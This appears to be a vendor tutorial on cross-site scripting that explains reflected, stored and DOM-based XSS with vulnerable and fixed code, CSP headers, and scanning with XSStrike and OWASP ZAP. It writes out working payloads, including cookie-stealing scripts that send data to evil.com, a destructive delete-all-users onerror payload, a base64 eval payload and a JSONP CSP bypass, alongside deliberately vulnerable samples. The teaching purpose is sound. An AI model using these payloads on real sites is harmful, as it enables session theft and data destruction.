Cross-Site Scripting (XSS): Types, Prevention & Testing
Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users — categorized into reflected, stored, and DOM-based variants.
What You’ll Learn
You’ll understand the three XSS types (reflected, stored, DOM-based) with working payload examples, implement Content Security Policy headers, apply input encoding and output escaping correctly, use XSS prevention frameworks, and test applications with XSStrike and OWASP ZAP.
Why It Matters
XSS accounts for roughly 30% of all web vulnerabilities. A single XSS can hijack user sessions, deface websites, redirect users to phishing pages, or deliver malware. Durga Antivirus Pro blocks XSS payloads in real-time through its web protection module — detecting script injection patterns before the browser executes them.
Real-World Use
An attacker posts a comment on a blog: <script>fetch('https://evil.com/steal', {method:'POST', body:document.cookie})</script>. Every visitor’s session cookie is sent to the attacker. The attacker uses these cookies to hijack admin sessions and deface the entire site.
XSS Attack Types
flowchart TD
A[Cross-Site Scripting] --> B[Reflected XSS]
A --> C[Stored XSS]
A --> D[DOM-based XSS]
B --> E[Payload in URL/Request]
C --> F[Payload stored on server]
D --> G[Client-side JS modifies DOM unsafely]
B --> H[Phishing, session theft]
C --> I[Persistent, affects all users]
D --> J[Bypasses server-side filters]
style B fill:#dc2626,color:#fff
style C fill:#2563eb,color:#fff
style D fill:#d97706,color:#fff
Step 1: Reflected XSS
Reflected XSS occurs when user input is immediately returned by the server without proper escaping — typically in search results, error messages, or URL parameters.
Vulnerable Code:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/search_vulnerable")
def search_vulnerable():
query = request.args.get("q", "")
# VULNERABLE: user input embedded directly in HTML response
html = f"""
<h1>Search Results</h1>
<p>You searched for: <b>{query}</b></p>
<ul><li>No results found for "{query}"</li></ul>
"""
return render_template_string(html)
if __name__ == "__main__":
app.run(debug=True)Attack URL:
/search_vulnerable?q=<script>document.location='https://evil.com/?c='+document.cookie</script>Expected output: When a victim clicks the link, the JavaScript executes in their browser. Their cookies are sent to evil.com. The attacker can now impersonate the victim.
Fixed Code — Output Escaping:
from flask import Flask, request, render_template_string, escape
app = Flask(__name__)
@app.route("/search_secure")
def search_secure():
query = request.args.get("q", "")
# SECURE: escape() converts HTML special characters
safe_query = escape(query)
html = f"""
<h1>Search Results</h1>
<p>You searched for: <b>{safe_query}</b></p>
<ul><li>No results found for "{safe_query}"</li></ul>
"""
return render_template_string(html)Expected output: The <script> tag is rendered as <script> — displayed as harmless text instead of executed.
Step 2: Stored XSS
Stored XSS persists on the server — comments, forum posts, user profiles, or any data stored in a database and later displayed to other users.
Vulnerable React Component:
function CommentSection() {
const [comments, setComments] = useState([]);
useEffect(() => {
fetch("/api/comments")
.then(r => r.json())
.then(data => setComments(data));
}, []);
return (
<div>
<h2>Comments</h2>
{comments.map((c, i) => (
// VULNERABLE: dangerouslySetInnerHTML bypasses React's escaping
<div key={i} dangerouslySetInnerHTML={{ __html: c.text }} />
))}
</div>
);
}Attack Payload (submitted via comment form):
<img src=x onerror="fetch('/api/admin/delete-all-users', {method:'POST'})">Expected output: Every user who views the comments section triggers the malicious image tag. The onerror handler fires immediately (invalid image source), making a destructive API call. Admin users browsing comments would trigger mass user deletion.
Fixed Code — React Default Escaping:
function CommentSection() {
const [comments, setComments] = useState([]);
useEffect(() => {
fetch("/api/comments")
.then(r => r.json())
.then(data => setComments(data));
}, []);
return (
<div>
<h2>Comments</h2>
{comments.map((c, i) => (
// SECURE: React escapes by default — JSX string interpolation is safe
<div key={i}><p>{c.text}</p></div>
))}
</div>
);
}Expected output: React’s JSX escaping converts <img src=x onerror=...> to text — it’s displayed harmlessly. Never use dangerouslySetInnerHTML with user content. If you need rich HTML, use a sanitization library like DOMPurify first.
Step 3: DOM-Based XSS
DOM-based XSS occurs entirely on the client side — the server never sees the malicious input because it’s processed by JavaScript manipulating the DOM.
Vulnerable Code:
<!DOCTYPE html>
<html>
<body>
<h1>Welcome</h1>
<div id="greeting"></div>
<script>
// VULNERABLE: Reads from URL fragment and writes to innerHTML
const name = new URLSearchParams(window.location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello, " + name + "!";
</script>
</body>
</html>Attack URL:
/page.html?name=<img src=x onerror=alert(document.cookie)>Expected output: The browser’s DOM parser runs the inline event handler. The attack never reaches the server — all processing is client-side. Traditional server-side WAFs (Web Application Firewalls) cannot detect DOM-based XSS.
Fixed Code — Safe DOM Manipulation:
<!DOCTYPE html>
<html>
<body>
<h1>Welcome</h1>
<div id="greeting"></div>
<script>
// SECURE: Use textContent instead of innerHTML
const name = new URLSearchParams(window.location.search).get("name");
document.getElementById("greeting").textContent = "Hello, " + name + "!";
</script>
</body>
</html>Expected output: textContent treats the input as text, not HTML. Even if the URL contains <script> or <img onerror>, it’s displayed as literal text.
Step 4: Content Security Policy (CSP)
CSP is a browser security header that restricts which resources can execute — even if an XSS payload is injected, CSP blocks it:
from flask import Flask, request, render_template_string, escape
app = Flask(__name__)
@app.after_request
def add_csp(response):
# CSP header — blocks inline scripts and restricts script sources
response.headers["Content-Security-Policy"] = (
"default-src 'self';"
"script-src 'self';" # Only scripts from same origin
"style-src 'self' 'unsafe-inline';" # Allow inline styles (safe)
"img-src 'self' data:;" # Images from self or data URIs
"object-src 'none';" # Block plugins
"base-uri 'self';" # Restrict <base> tag
)
return response
@app.route("/csp_protected")
def csp_protected():
query = escape(request.args.get("q", ""))
html = f"<h1>Search: {query}</h1>"
return render_template_string(html)Expected output: Even if query somehow contained <script>alert(1)</script>, the browser blocks execution because CSP says script-src 'self' — only scripts loaded from the same origin via <script src="..."> are allowed. Inline scripts are blocked by default.
CSP Directive Reference
| Directive | Purpose | Example |
|---|---|---|
default-src | Fallback for all resource types | 'self' |
script-src | Controls JavaScript sources | 'self' https://cdn.example.com |
style-src | Controls CSS sources | 'self' 'unsafe-inline' |
img-src | Controls image sources | 'self' data: https: |
connect-src | Controls fetch/XHR/WebSocket | 'self' https://api.example.com |
frame-ancestors | Controls embedding in <iframe> | 'none' (clickjacking protection) |
Step 5: Testing with XSStrike
# Install XSStrike
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
pip install -r requirements.txt
# Test a single URL
python xsstrike.py -u "https://test-site.com/search?q=test"
# Crawl and test all endpoints
python xsstrike.py -u "https://test-site.com" --crawl
# POST request testing
python xsstrike.py -u "https://test-site.com/comment" --data 'comment=hello'
# Test with custom headers
python xsstrike.py -u "https://test-site.com/search?q=test" \
--headers '{"Authorization": "Bearer token123"}'Expected output: XSStrike analyzes the response, identifies where user input is reflected, and generates a list of working XSS payloads. It tests various filtering bypasses (context-aware encoding, event handlers, javascript: URIs, unicode escapes). It reports: [+] Payload: <img src=x id=dmFyIGE9ZG9jdW1lbnQ= onerror=eval(atob(this.id))> (base64-encoded XSS).
OWASP ZAP Automated Scan
# Run ZAP full scan with XSS rules
zap-full-scan.py -t https://test-site.com \
-r xss_report.html \
--hook=/path/to/xss-policy.conf
# Manual testing with ZAP
# 1. Spider the site
# 2. Active Scan with XSS rules enabled
# 3. Review alerts in the "Alerts" tab
# 4. Check "XSS" filter bypasses in Context menuCommon Errors
1. Relying only on input validation
Blocking <script> on input is insufficient — attackers use <img onerror>, <svg onload>, <body onload>, or javascript: URLs in href attributes. Output escaping is required regardless of input filtering.
2. Using innerHTML with any user data
innerHTML parses strings as HTML — this is the most common DOM XSS source. Always use textContent for text, setAttribute for attributes, and document.createElement + appendChild for structured content.
3. Escaping in the wrong context
Escaping for HTML body (<) is different from escaping for HTML attributes (" → "), CSS (url()), JavaScript strings (' → \'), or URL parameters (%20). Use context-aware encoding libraries (e.g., OWASP Java Encoder, Helmet.js).
4. CSP bypass via JSONP endpoints
If CSP allows script-src https://*.google.com, attackers can use Google’s JSONP API to execute arbitrary JavaScript: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)">. Always restrict script sources to specific domains, not wildcards.
5. Not testing for DOM-based XSS
Server-side WAFs and input validation don’t protect against DOM XSS — the attack never hits the server. Use OWASP ZAP or ESLint plugin eslint-plugin-no-unsanitized to catch DOM XSS patterns in JavaScript code.
Practice Questions
1. What is the difference between reflected, stored, and DOM-based XSS? Reflected: payload in URL/request, executed immediately. Stored: payload saved on server, affects all future visitors. DOM-based: client-side JavaScript processes URL fragment/hash unsafely — never reaches server.
2. How does Content Security Policy prevent XSS?
CSP restricts which script sources are allowed to execute. Even if an attacker injects <script>alert(1)</script>, CSP blocks it if script-src doesn’t include 'unsafe-inline'. CSP also blocks inline event handlers (onerror, onload).
3. What is the difference between input validation and output escaping?
Input validation rejects malicious input before storing (e.g., strip <script> tags). Output escaping converts dangerous characters to safe HTML entities (< → <) when rendering. Output escaping is mandatory; input validation alone is insufficient.
4. Why is DOM-based XSS harder to detect? DOM-based XSS never sends the payload to the server — it’s processed entirely in the browser’s JavaScript. Server-side WAFs, server logs, and input validation don’t catch it. You must audit client-side JavaScript code for unsafe DOM manipulation.
5. Challenge: Build an XSS filter bypass for a test environment
Set up DVWA or bWAPP with XSS challenges. Try bypassing filters with: unicode encoding, nested tags, javascript: URIs, data: URIs, event handler variations, polyglots, and SVG-based payloads. Document which bypasses work and why.
FAQ
What’s Next
Built by the developers of Doda Browser, DodaZIP, and Durga Antivirus Pro.
Built by the developers of DodaTech
Doda Browser, DodaZIP & Durga Antivirus Pro